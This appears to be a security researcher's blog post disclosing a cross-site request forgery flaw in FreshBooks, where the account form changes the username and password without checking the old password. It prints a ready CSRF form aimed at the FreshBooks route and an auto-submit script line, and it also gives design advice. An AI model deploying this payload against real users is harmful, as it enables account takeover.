Now for the fun stuff, I will explain below that a user with a logged in FreshBooks session that visits a malicious website could have their account credentials (username, password) changed in such a manner that they would not know immediately, giving the attacker full control.

It’s all about verifiable trust

Web applications, especially ones that are password protected, rely on the fact that your browser will send the session ID with every browser request. This is a very important design consideration for web app developers designing privileged sections/actions of the application.

For example if a web app developer designs using the mentality “a user has to be logged in (has a valid session) to change their password or do any other privileged activities,” not only is the logged in user able to do those actions but any other page they visit has the ability to have their browser make those requests too. All because of the designed browser behaviour of having your session sent with your request. This is session based trust.

What we need to solve this is transaction based trust. We need the client to prove they are not only allowed from an authentication perspective but are authorized to make this transaction. Now the important part.

For a password change the old password should be provided and verified server side. For other privileged operations other tokens and methods can be used.

Tell me how to exploit FreshBooks already!

As you might have guessed by now FreshBooks does not ask for the old password when setting account information, trusting only on session authentication, bad design flaw. They ask for First Name, Last Name, Email address, username, new password, verify password. They also don’t deploy any other protection mechanisms (which I’m not going to get into here.) So when the FreshBooks user fills out the form and presses save the server takes what the user sent, verified the session was good and saved the info. No other verification is done.

Most of you won’t care, but this is the code that makes up the form in the background (in essence anyway.)

<form name=”csrf” action=”https://xxxxxx.freshbooks.com/menu.php?route=usernameAndPass” method=”post” target=”hidden”>
<input type=”text” name=”fname” value=”Joe”  />
<input type=”text” name=”lname” value=”Schmoe” />
<input type=”text” name=”email” value=”adam@ngenuity-is.com” />
<input type=”text” name=”rate” value=”0.00″ />
<input type=”text” name=”admin_username” value=”USERNAME” />
<input type=’password’ name=”admin_password” value=”PASSHERE” />
<input type=”password” name=”admin_password2″ value=”PASSHERE” />
<input type=”submit” name=”save” />
</form>

This should be pretty straight forward as to what each piece is when compared to the above image. A quick addition of <script>document.csrf.submit();</script> and the browser executes the code for us with no human interaction. Throw all of this (with a few more important details you have to figure out yourself) on a website and you have a nice little, targeted exploit.

All of this could have been avoided if FreshBooks would have simply asked the user for their old password and verified that old password. Sure there are technical controls they can put in place to protect against some of these things, but really this should have been caught during a design assessment of the application.

Special thanks to Adam Brault for helping me test the exploit outside of the lab and agreeing to be pwned.